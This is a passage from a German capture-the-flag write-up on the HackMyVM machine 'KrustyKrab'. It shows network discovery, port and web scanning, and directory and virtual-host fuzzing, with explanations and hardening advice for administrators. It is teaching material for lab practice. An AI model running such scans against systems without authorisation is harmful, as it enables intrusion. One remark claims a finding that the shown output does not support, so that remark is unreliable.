KrustyKrab - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
curl
nikto
gobuster
wfuzz
vi/vim
grep
awk
msfconsole
hydra
python3
requests (Python)
http.server (Python)
ssh
exiftool
tr
sudo
split
cat
file
mysql
echo
mkdir
find
at
wget
ghidra
strings
stegseek
zsteg
binwalk
xxd
md5sum
gcc

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿CCat)-[~] └─# arp-scan -l | grep "PCS" | awk '{print $1}'
192.168.2.184
        

Analyse: Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerk nach aktiven Hosts mittels ARP-Requests zu durchsuchen. Die Option `-l` steht für `--localnet`, was bedeutet, dass arp-scan die Netzwerkschnittstellenkonfiguration verwendet, um die zu scannenden Zieladressen zu generieren. Die Ausgabe wird dann durch `grep "PCS"` gefiltert, um nur Zeilen anzuzeigen, die "PCS" enthalten. "PCS Systemtechnik GmbH" ist oft der Hersteller von VirtualBox Netzwerkkarten-MAC-Adressen. Schließlich extrahiert `awk '{print $1}'` die erste Spalte (die IP-Adresse) der gefilterten Zeile.

Bewertung: Dieser Schritt ist ein klassischer erster Schritt in der Reconnaissance-Phase eines internen Penetrationstests. Ziel ist es, die IP-Adresse der Zielmaschine "KrustyKrab" im lokalen Netzwerk zu identifizieren. Die Methode ist effizient und liefert schnell das gewünschte Ergebnis, vorausgesetzt, die MAC-Adresse des Ziels ist bekannt oder man filtert nach einem bekannten Hersteller-String für virtuelle Maschinen. Die IP-Adresse `192.168.2.184` wurde erfolgreich identifiziert.

Empfehlung (Pentester): Notiere die IP-Adresse als primäres Ziel. Man könnte alternativ auch `nmap -sn ` für eine Host-Discovery verwenden, aber `arp-scan` ist oft schneller und leiser im lokalen Netz.
Empfehlung (Admin): Aus Sicht der Verteidigung ist es schwierig, ARP-Scans im lokalen Netz vollständig zu unterbinden, da ARP ein fundamentales Protokoll für die lokale Netzwerkkommunikation ist. Netzwerk-Monitoring-Systeme könnten jedoch ungewöhnlich viele ARP-Anfragen von einem einzelnen Host erkennen und alarmieren. Eine Segmentierung des Netzwerks kann die Reichweite solcher Scans einschränken.

┌──(root㉿CCat)-[~] └─# nmap -sC -sS -sV -T5 -A 192.168.2.184 -p- | grep open
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
        

Analyse: Dieser Nmap-Befehl führt einen umfassenden Scan auf der zuvor identifizierten IP-Adresse `192.168.2.184` durch. - `-sC`: Führt Standard-Nmap-Skripte aus. - `-sS`: Führt einen TCP SYN-Scan (Stealth-Scan) durch. - `-sV`: Versucht, die Versionen der laufenden Dienste zu ermitteln. - `-T5`: Setzt das Timing-Template auf "insane" für einen sehr schnellen Scan (potenziell ungenauer oder auffälliger). - `-A`: Aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute. - `-p-`: Scannt alle 65535 TCP-Ports. Die Ausgabe wird dann durch `grep open` gefiltert, um nur die Zeilen anzuzeigen, die offene Ports signalisieren.

Bewertung: Der Scan identifiziert zwei offene TCP-Ports: Port `22` (SSH) und Port `80` (HTTP). Die Dienste dahinter sind OpenSSH 9.2p1 und Apache httpd 2.4.62. Die Verwendung von `-T5` und `-A` zusammen mit `-p-` ist aggressiv und kann in produktiven Umgebungen Netzwerkprobleme verursachen oder von Intrusion Detection Systems (IDS) leicht erkannt werden. Für ein CTF oder eine dedizierte Testumgebung ist dies jedoch üblich, um Zeit zu sparen. Das Filtern mit `grep open` gibt einen schnellen Überblick über die offenen Ports, aber die vollständige Nmap-Ausgabe (nächster Befehl) ist für eine detaillierte Analyse unerlässlich.

Empfehlung (Pentester): Die gefundenen Dienste SSH und HTTP sind die primären Angriffsvektoren. Notiere die Versionen für spätere Schwachstellenrecherchen. Als Nächstes sollte die vollständige Nmap-Ausgabe geprüft werden.
Empfehlung (Admin): Stellen Sie sicher, dass nur notwendige Ports offen sind. Für SSH (Port 22) sollten starke Passwörter oder Key-basierte Authentifizierung verwendet und idealerweise der Zugriff auf bestimmte IP-Adressen beschränkt werden. Für den Webserver (Port 80) sollten regelmäßige Sicherheitsupdates und eine Web Application Firewall (WAF) in Betracht gezogen werden. Die Aggressivität des Scans (`-T5`) könnte durch Netzwerk-Monitoring erkannt werden.

┌──(root㉿CCat)-[~] └─# nmap -sC -sS -sV -T5 -A 192.168.2.184 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-26 22:45 CEST
Nmap scan report for KrustyKrab (192.168.2.184)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey: 
|   256 f6:91:6b:ad:ea:ad:1d:b9:44:09:d8:74:a3:02:38:35 (ECDSA)
|_  256 b6:66:2f:f0:4c:26:7f:7d:14:ea:b3:62:09:64:a7:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:C7:A4:41 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms KrustyKrab (192.168.2.184)

OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/] .
Nmap done: 1 IP address (1 host up) scanned in 10.70 seconds
        

Analyse: Dies ist die vollständige Ausgabe des vorherigen Nmap-Befehls. Sie bestätigt die offenen Ports 22 (SSH) und 80 (HTTP) und liefert zusätzliche Details: - **SSH (Port 22):** Läuft mit OpenSSH 9.2p1 auf Debian. Die Host-Keys (ECDSA und ED25519) werden angezeigt. - **HTTP (Port 80):** Läuft mit Apache httpd 2.4.62 auf Debian. Der Titel der Webseite ist "Apache2 Ubuntu Default Page: It works", was auf eine Standardinstallation oder eine nicht vollständig konfigurierte Webseite hindeutet. Der Server-Header bestätigt die Apache-Version. - **MAC-Adresse:** `08:00:27:C7:A4:41` gehört zu "PCS Systemtechnik/Oracle VirtualBox virtual NIC", was bestätigt, dass es sich um eine virtuelle Maschine handelt. - **OS-Erkennung:** Nmap vermutet ein Linux-System (Kernel 4.X/5.X) und listet mögliche spezifischere Betriebssysteme wie OpenWrt oder MikroTik RouterOS auf. Die "Service Info" bestätigt "OS: Linux". - **Traceroute:** Zeigt nur einen Hop, was typisch für ein Ziel im selben lokalen Netzwerk ist.

Bewertung: Die vollständige Ausgabe liefert wertvolle Informationen. Die Standard-Apache-Seite auf Port 80 ist ein primärer Angriffspunkt für die weitere Enumeration (Verzeichnisse, Dateien, Webanwendungen). Die SSH-Version ist relativ aktuell, aber es ist immer gut, nach bekannten Schwachstellen für spezifische Versionen Ausschau zu halten, obwohl Brute-Force-Angriffe oder die Ausnutzung schwacher Anmeldeinformationen häufiger sind. Die OS-Informationen sind nützlich für die spätere Auswahl von Exploits, falls welche gefunden werden.

Empfehlung (Pentester): 1. Untersuche den Webserver auf Port 80 genauer: Manuelles Browsen, Quelltextanalyse, Verzeichnis-Brute-Forcing (z.B. mit Gobuster, Dirb, Feroxbuster), Suche nach Webanwendungen. 2. Für SSH: Halte Ausschau nach möglichen Benutzernamen (z.B. aus Webinhalten) für gezielte Brute-Force- oder Passwort-Spray-Angriffe. Überprüfe die SSH-Konfiguration auf schwache Einstellungen, falls ein Zugriff später möglich wird (z.B. Passwort-Authentifizierung erlaubt).
Empfehlung (Admin): 1. **Webserver (Apache):** * Entfernen oder ersetzen Sie die Standard-Apache-Seite durch den tatsächlichen Inhalt. * Deaktivieren Sie nicht benötigte Apache-Module. * Halten Sie den Server und alle Webanwendungen stets aktuell. * Implementieren Sie Sicherheitsheader (z.B. `X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy`). Nikto wird dies später wahrscheinlich auch anmerken. 2. **SSH-Server:** * Stellen Sie sicher, dass nur Key-basierte Authentifizierung verwendet wird und Passwort-Authentifizierung deaktiviert ist. * Verwenden Sie Fail2ban oder ähnliche Tools, um Brute-Force-Angriffe zu mitigieren. * Beschränken Sie den SSH-Zugriff auf vertrauenswürdige IP-Adressen. 3. **Allgemein:** Minimieren Sie die durch Nmap preisgegebenen Informationen, z.B. durch Firewall-Regeln, die auf nicht benötigte Anfragen mit DROP statt RESET antworten, um die Port-Status-Erkennung zu erschweren.

┌──(root㉿CCat)-[~] └─# curl -I http://192.168.2.184 -v
*   Trying 192.168.2.184:80...
* Connected to 192.168.2.184 (192.168.2.184) port 80
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: 192.168.2.184
> User-Agent: curl/8.13.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Date: Sat, 26 Apr 2025 20:48:19 GMT
Date: Sat, 26 Apr 2025 20:48:19 GMT
< Server: Apache/2.4.62 (Debian)
Server: Apache/2.4.62 (Debian)
< Last-Modified: Wed, 26 Mar 2025 02:16:52 GMT
Last-Modified: Wed, 26 Mar 2025 02:16:52 GMT
< ETag: "2d13-631356e3172d6"
ETag: "2d13-631356e3172d6"
< Accept-Ranges: bytes
Accept-Ranges: bytes
< Content-Length: 11539
Content-Length: 11539
< Vary: Accept-Encoding
Vary: Accept-Encoding
< Content-Type: text/html
Content-Type: text/html
< 

* Connection #0 to host 192.168.2.184 left intact
        

Analyse: Der Befehl `curl -I http://192.168.2.184 -v` wird verwendet, um nur die HTTP-Header der Webseite auf der Startseite (`/`) abzurufen. - `-I` (oder `--head`): Sendet eine HEAD-Anfrage anstelle einer GET-Anfrage. Dies ist nützlich, um Metadaten über die Ressource zu erhalten, ohne den gesamten Inhalt herunterzuladen. - `-v` (oder `--verbose`): Aktiviert den ausführlichen Modus, der zusätzliche Informationen über die Verbindung und die Anfrage/Antwort-Header anzeigt, einschließlich der ausgehenden Anfrage-Header (gekennzeichnet mit `>`) und der eingehenden Antwort-Header (gekennzeichnet mit `<`). Die doppelten Header-Zeilen in der Ausgabe sind typisch für den Verbose-Modus von `curl`, der sowohl die rohen Header als auch eine interpretierte Version anzeigt.

Bewertung: Die Ausgabe bestätigt die Ergebnisse des Nmap-Scans bezüglich des Webservers: - **Status Code:** `HTTP/1.1 200 OK` zeigt an, dass die Anfrage erfolgreich war. - **Server:** `Apache/2.4.62 (Debian)` wird erneut bestätigt. - **Content-Type:** `text/html` ist wie erwartet für eine Webseite. - **ETag:** `ETag: "2d13-631356e3172d6"` ist vorhanden. ETags können manchmal Informationen über die Datei (z.B. Inode) preisgeben, was Nikto später auch anmerken wird (CVE-2003-1418). - **Content-Length:** `11539` Bytes. Diese Informationen sind konsistent und bieten keine neuen, überraschenden Details, bestätigen aber die bisherigen Erkenntnisse.

Empfehlung (Pentester): Die Header sind Standard und geben keine direkten Schwachstellen preis, abgesehen vom potenziellen ETag-Leak. Die Server-Version ist nützlich für die Schwachstellensuche. Die nächsten Schritte sollten sich auf die Inhaltsanalyse und das Aufspüren von Webanwendungen konzentrieren.
Empfehlung (Admin): - Erwägen Sie, den `Server`-Header zu minimieren oder zu verschleiern (z.B. mit `Header unset Server` oder `ServerTokens Prod` in der Apache-Konfiguration), um Angreifern weniger Informationen zu geben. - Überprüfen Sie die Notwendigkeit und Konfiguration von ETags. Wenn Inode-Leaks ein Problem darstellen, können ETags anders konfiguriert oder nur aus bestimmten Komponenten (Größe, Zeitstempel) gebildet werden (`FileETag MTime Size`).

Web Enumeration

┌──(root㉿CCat)-[~] └─# nikto -h http://192.168.2.184
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.184
+ Target Hostname:    192.168.2.184
+ Target Port:        80
+ Start Time:         2025-04-26 22:47:29 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.62 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options]
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 2d13, size: 631356e3172d6, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418]
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2025-04-26 22:47:40 (GMT2) (11 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
        

Analyse: Nikto ist ein Webserver-Scanner, der nach bekannten Schwachstellen, Fehlkonfigurationen, Standarddateien und anderen sicherheitsrelevanten Problemen sucht. - `-h http://192.168.2.184`: Gibt das Ziel an. Die Ergebnisse von Nikto zeigen: - Die Apache-Version wird erneut bestätigt. - **Fehlender `X-Frame-Options`-Header:** Dies macht die Seite anfällig für Clickjacking-Angriffe, bei denen eine bösartige Seite die Zielseite in einem unsichtbaren Frame einbettet, um Benutzer zu täuschen. - **Fehlender `X-Content-Type-Options`-Header:** Ohne diesen Header (typischerweise mit dem Wert `nosniff`) könnten Browser versuchen, den Content-Typ einer Ressource zu "erraten" (MIME-Sniffing), was unter bestimmten Umständen zu XSS-Schwachstellen führen kann, wenn z.B. eine als Text deklarierte Datei als HTML interpretiert wird. - **Inode-Leak via ETags (CVE-2003-1418):** Bestätigt die frühere Vermutung. ETags, die auf Inodes basieren, können Informationen über die interne Dateisystemstruktur preisgeben. Dies ist in der Regel ein Low-Impact-Finding. - **Erlaubte HTTP-Methoden:** `GET, POST, OPTIONS, HEAD`. Dies ist eine Standardkonfiguration. Gefährlichere Methoden wie `PUT` oder `DELETE` sind nicht aktiviert.

Bewertung: Nikto hat einige typische Low- bis Medium-Impact-Findings aufgedeckt, die auf eine Standardkonfiguration ohne spezifische Sicherheits-Hardening-Maßnahmen für Webserver hindeuten. Das Fehlen der Sicherheitsheader ist verbreitet und sollte behoben werden. Das ETag-Inode-Leak ist von geringerem Risiko. Die Abwesenheit kritischer Schwachstellen (wie veraltete Software mit bekannten Exploits oder gefährliche Standarddateien) ist positiv, aber die Enumeration ist noch nicht abgeschlossen.

Empfehlung (Pentester): Notieren Sie die fehlenden Sicherheitsheader und das ETag-Leak. Diese sind typische Ergebnisse für einen Bericht. Konzentrieren Sie sich weiterhin auf die Identifizierung von Webanwendungen und deren spezifische Schwachstellen. Die Information über erlaubte HTTP-Methoden ist nützlich; `OPTIONS` kann manchmal zusätzliche Informationen liefern (z.B. mit `curl -X OPTIONS http://ziel -v`).
Empfehlung (Admin): 1. **Implementieren Sie Sicherheitsheader:** * `X-Frame-Options: DENY` oder `SAMEORIGIN` (in der Apache-Konfiguration oder über `.htaccess`). * `X-Content-Type-Options: nosniff`. * Erwägen Sie auch `Content-Security-Policy` und `Strict-Transport-Security` (für HTTPS). 2. **ETag-Konfiguration:** Wie bereits erwähnt, konfigurieren Sie ETags so, dass sie keine Inodes preisgeben (`FileETag MTime Size`). 3. Halten Sie Nikto (oder ähnliche Scanner) und deren Datenbanken aktuell, um regelmäßig nach neuen Schwachstellen zu scannen.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://192.168.2.184" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.184
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   503,404,403
[+] User Agent:              gobuster/3.6
[+] Extensions:              csh,desc,pub,doc,conf,ln,docx,asp,diff,html,exe,mod,txt,sh,raw,c,zip,tar,icon,db,mdb,jpg,pdf,kdbx,exp,eps,jpeg,xls,bat,config,bak,elf,java,aspx,gz,rtf,json,php,pl,ELF,lib,pHtml,sql,png,phtml,rpm,ps1,dll,xlsx,pem,old,js.map,deb,rar,accdb,py,crt,xml,csv,svg,cgi
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://192.168.2.184/index.html           (Status: 200) [Size: 11539]
===============================================================
        

Analyse: Gobuster wird hier im `dir`-Modus verwendet, um nach Verzeichnissen und Dateien auf dem Webserver zu suchen. - `-u "http://192.168.2.184"`: Die Ziel-URL. - `-w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt"`: Eine mittelgroße Wortliste für Verzeichnisnamen. - `-x ...`: Eine sehr lange Liste von Dateierweiterungen, die an jeden Eintrag in der Wortliste angehängt und getestet werden sollen. - `-b '503,404,403'`: Statuscodes, die als "nicht gefunden" betrachtet und nicht angezeigt werden sollen (obwohl Gobuster sie intern trotzdem zählt). - `-e`: Erweiterter Modus, gibt die vollständige URL für gefundene Verzeichnisse aus. - `--no-error`: Unterdrückt Fehlermeldungen (z.B. bei Verbindungsproblemen). - `-k`: Überspringt die SSL-Zertifikatsprüfung (hier nicht relevant, da HTTP).

Bewertung: Dieser erste Gobuster-Scan findet nur `/index.html`, was der Standard-Apache-Seite entspricht, die bereits durch Nmap identifiziert wurde. Die extrem lange Liste an Erweiterungen (`-x`) in Kombination mit einer mittelgroßen Wortliste kann die Scanzeit erheblich verlängern und viele Anfragen generieren. Es ist oft effizienter, zunächst ohne Erweiterungen oder nur mit den wahrscheinlichsten (z.B. `php,html,txt`) zu scannen und dann gezielter vorzugehen. Das Fehlen weiterer Ergebnisse deutet entweder darauf hin, dass es keine leicht zu findenden Verzeichnisse/Dateien gibt oder die Wortliste nicht passend ist.

Empfehlung (Pentester): Der Scan war nicht sehr ergiebig. 1. Versuchen Sie es mit anderen Wortlisten (größere, kleinere, spezifischere für Technologien). 2. Scannen Sie zunächst ohne Erweiterungen, um Basisverzeichnisse zu finden, und dann gezielt mit Erweiterungen in diesen Verzeichnissen. 3. Analysieren Sie den Quellcode der `index.html` und anderer gefundener Seiten auf Hinweise (Kommentare, versteckte Links, JavaScript-Dateien), die zu weiteren Pfaden führen könnten.
Empfehlung (Admin): - Stellen Sie sicher, dass keine unnötigen Dateien oder Verzeichnisse öffentlich zugänglich sind. - Deaktivieren Sie Verzeichnisauflistungen (Directory Listing). - Verwenden Sie unvorhersehbare Namen für administrative Verzeichnisse oder schützen Sie diese zusätzlich (z.B. IP-Whitelisting, HTTP Basic Auth). - Eine Web Application Firewall (WAF) kann helfen, Brute-Force-Scanning-Versuche zu erkennen und zu blockieren.

┌──(root㉿CCat)-[~] └─# grep 184 /etc/hosts
                192.168.2.184	krusty.hmv
        

Analyse: Dieser Befehl durchsucht die lokale `/etc/hosts`-Datei des Angreifer-Systems nach der Zeichenkette "184". Die `/etc/hosts`-Datei wird verwendet, um Hostnamen manuell IP-Adressen zuzuordnen, bevor DNS-Server konsultiert werden. Die Ausgabe `192.168.2.184 krusty.hmv` zeigt, dass der Pentester zuvor manuell einen Eintrag hinzugefügt hat, der die IP-Adresse `192.168.2.184` dem Hostnamen `krusty.hmv` zuweist.

Bewertung: Dies ist ein wichtiger Schritt, insbesondere wenn Webanwendungen Virtual Hosts verwenden oder wenn man sich auf Hostnamen anstelle von IP-Adressen verlassen möchte (z.B. für SSL-Zertifikate oder interne Links). Indem der Hostname `krusty.hmv` der IP zugeordnet wird, kann der Pentester die Webseite nun über `http://krusty.hmv` aufrufen. Dies kann manchmal zu unterschiedlichem Verhalten der Webanwendung führen oder den Zugriff auf Anwendungen ermöglichen, die nur über einen bestimmten Hostnamen erreichbar sind.

Empfehlung (Pentester): Es ist eine gute Praxis, identifizierte IP-Adressen mit potenziellen Hostnamen (falls bekannt oder erraten) in die `/etc/hosts`-Datei einzutragen. Dies erleichtert nicht nur das Browsen, sondern ist auch notwendig, um virtuelle Hosts zu entdecken (z.B. mit Gobuster im `vhost`-Modus oder wfuzz für Host-Header-Brute-Forcing). Führen Sie Scans (wie Gobuster) erneut mit dem Hostnamen `krusty.hmv` durch.
Empfehlung (Admin): Aus Sicht des Administrators des Zielsystems hat diese Aktion keine direkte Auswirkung. Es zeigt jedoch, dass der Angreifer systematisch vorgeht und versucht, alle möglichen Zugriffspfade zu enumerieren. Wenn Ihre Webanwendungen stark auf Hostnamen basieren, stellen Sie sicher, dass diese nicht leicht zu erraten sind, falls sie nicht öffentlich sein sollen.

view-source:http://krusty.hmv/

  <--/var/www/html/finexo -->
        

Analyse: Diese Zeile deutet darauf hin, dass der Pentester den Quellcode der Webseite `http://krusty.hmv/` (die Standard-Apache-Seite) im Browser untersucht hat (erkennbar an `view-source:`). Im Quellcode wurde ein HTML-Kommentar gefunden: ``.

Bewertung: Das ist ein sehr wichtiger Fund! HTML-Kommentare können oft versehentlich Pfade, Hinweise auf Technologien oder andere interne Informationen preisgeben. In diesem Fall enthüllt der Kommentar den Pfad `/var/www/html/finexo` auf dem Server. Dies legt nahe, dass sich unter der URL `http://krusty.hmv/finexo` möglicherweise eine weitere Webanwendung oder ein interessantes Verzeichnis befindet. Dies ist ein klassisches Beispiel dafür, warum manuelle Quellcodeanalyse unerlässlich ist.

Empfehlung (Pentester): 1. Untersuchen Sie sofort die URL `http://krusty.hmv/finexo`. 2. Führen Sie Werkzeuge wie Gobuster erneut auf dieses spezifische Verzeichnis (`http://krusty.hmv/finexo/`) aus, um dessen Inhalt weiter zu enumerieren. 3. Der Pfad `/var/www/html/` ist der Standard-DocumentRoot für Apache auf Debian/Ubuntu. Das Vorhandensein von `finexo` darin ist ein starker Hinweis.
Empfehlung (Admin): - Entfernen Sie alle unnötigen Kommentare, insbesondere solche, die interne Pfade, Entwickler-Notizen oder sensible Informationen enthalten, aus dem Produktivcode. - Führen Sie regelmäßige Code-Reviews durch, um solche Informationslecks zu identifizieren. - Schulen Sie Entwickler darin, keine sensiblen Informationen in Kommentaren zu hinterlassen.

┌──(root㉿CCat)-[~] └─# vi /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
  finexo
  .....
  ...
  ..
        

Analyse: Der Pentester öffnet die Wortliste `directory-list-2.3-medium.txt` mit dem Texteditor `vi`. Die Ausgabe deutet darauf hin, dass der Eintrag `finexo` in dieser Wortliste vorhanden ist (oder der Pentester ihn gerade hinzufügt).

Bewertung: Dieser Schritt ist eine direkte Reaktion auf den vorherigen Fund des Kommentars ``. Der Pentester verifiziert, ob `finexo` bereits in der Standard-Wortliste enthalten ist, oder fügt es hinzu, um sicherzustellen, dass Tools wie Gobuster diesen spezifischen Pfad testen, falls er nicht ohnehin schon enthalten wäre. Da der vorherige Gobuster-Scan `/finexo` nicht gefunden hat (erst der zweite Scan auf `/` fand es), war es entweder nicht in der Liste oder die Kombination mit den vielen Extensions hat es übersprungen/nicht korrekt verarbeitet. Es ist eine gute Praxis, gefundene Hinweise (wie `finexo`) in benutzerdefinierte Wortlisten aufzunehmen oder direkt zu testen.

Empfehlung (Pentester): Anstatt Wortlisten manuell zu bearbeiten (was fehleranfällig sein kann), ist es oft besser, gefundene potenzielle Verzeichnisse direkt mit dem Browser oder `curl` zu testen. Wenn man Wortlisten erweitern möchte, sollte man eine separate benutzerdefinierte Liste pflegen und diese mit Standardlisten kombinieren. Viele Brute-Force-Tools erlauben auch die direkte Angabe eines einzelnen Wortes/Pfades.
Empfehlung (Admin): Dies ist eine Aktion auf der Angreiferseite. Es unterstreicht die Notwendigkeit, dass Verteidiger sich bewusst sein müssen, dass Angreifer gefundene Informationen aktiv nutzen und ihre Werkzeuge entsprechend anpassen.

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://krusty.hmv" -H "Host: FUZZ.krusty.hmv" --hc "404" --hh 11539

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://krusty.hmv/
Total requests: 114442

=====================================================================
ID           Response   Lines    Word       Chars       Payload                      
=====================================================================

000009533:   400        10 L     35 W       301 Ch      "#www"                       
000010582:   400        10 L     35 W       301 Ch      "#mail"                      
000047707:   400        10 L     35 W       301 Ch      "#smtp"                      
000103136:   400        10 L     35 W       301 Ch      "#pop3"                      

Total time: 0
Processed Requests: 114442
Filtered Requests: 114438
Requests/sec.: 0
        

Analyse: Wfuzz wird hier verwendet, um nach virtuellen Hosts (Subdomains) zu suchen. - `-c`: Farbige Ausgabe. - `-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt`: Eine Wortliste mit gängigen Subdomain-Namen. - `-u "http://krusty.hmv"`: Die Basis-URL. Der `FUZZ`-Platzhalter wird hier nicht in der URL, sondern im Header verwendet. - `-H "Host: FUZZ.krusty.hmv"`: Hier wird der `Host`-Header manipuliert. `FUZZ` wird durch jeden Eintrag aus der Wortliste ersetzt, sodass Anfragen mit Host-Headern wie `subdomain.krusty.hmv` gesendet werden. - `--hc "404"`: Verbirgt Antworten mit dem Statuscode 404 (Not Found). - `--hh 11539`: Verbirgt Antworten, bei denen die Anzahl der Zeichen im Body 11539 beträgt. Dies ist die Größe der Standard-Apache-Seite (`/index.html`), die zuvor von Gobuster und curl ermittelt wurde. Damit sollen Antworten herausgefiltert werden, die einfach nur die Standardseite zurückliefern.

Bewertung: Die gefundenen Ergebnisse (`#www`, `#mail`, `#smtp`, `#pop3`) liefern einen HTTP-Statuscode `400 Bad Request`. Das Präfix `#` in den Payloads ist ungewöhnlich und könnte ein Fehler bei der Wortlistenerstellung oder ein Artefakt sein. Ein Statuscode `400` deutet darauf hin, dass der Server die Anfrage aufgrund einer fehlerhaften Syntax (z.B. ungültiger Hostname) nicht verarbeiten konnte. Die Filterung mit `--hh 11539` ist eine gute Methode, um irrelevante Standardantworten auszublenden. Der Scan war hier nicht erfolgreich im Auffinden gültiger Subdomains, die einen anderen Inhalt liefern. Die "Requests/sec.: 0" und "Total time: 0" sind seltsam und könnten auf einen sehr schnellen Abbruch oder ein Konfigurationsproblem hindeuten, obwohl viele Requests verarbeitet wurden.

Empfehlung (Pentester): 1. Überprüfen Sie die Wortliste auf ungewöhnliche Einträge wie die mit `#`. 2. Variieren Sie die Filterkriterien. Manchmal liefern unterschiedliche Subdomains zwar denselben Statuscode (z.B. 200), aber unterschiedliche Seitengrößen oder Inhalte. 3. Stellen Sie sicher, dass der lokale `/etc/hosts`-Eintrag für `krusty.hmv` korrekt ist, da Wfuzz sich darauf verlässt, um die IP-Adresse aufzulösen. 4. Wenn kein Erfolg, können auch DNS-basierte Subdomain-Enumerationstools (z.B. Amass, Sublist3r, Assetfinder) verwendet werden, falls das Ziel eine externe Komponente hätte.
Empfehlung (Admin): - Verwenden Sie Wildcard-DNS-Einträge mit Bedacht, da diese die Subdomain-Enumeration erleichtern können, wenn sie auf dieselbe Seite verweisen. - Konfigurieren Sie Ihren Webserver so, dass er auf Anfragen mit unbekannten Host-Headern korrekt reagiert (z.B. mit einer spezifischen Fehlerseite oder Weiterleitung auf eine Hauptseite), anstatt möglicherweise Fehler (`400 Bad Request`) preiszugeben, die dem Angreifer signalisieren, dass der Server den Host-Header zumindest parst. - Monitoring auf eine große Anzahl von Anfragen mit variierenden Host-Headern kann auf einen Enumerationsversuch hindeuten.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://192.168.2.184" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.184
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   503,404,403
[+] User Agent:              gobuster/3.6
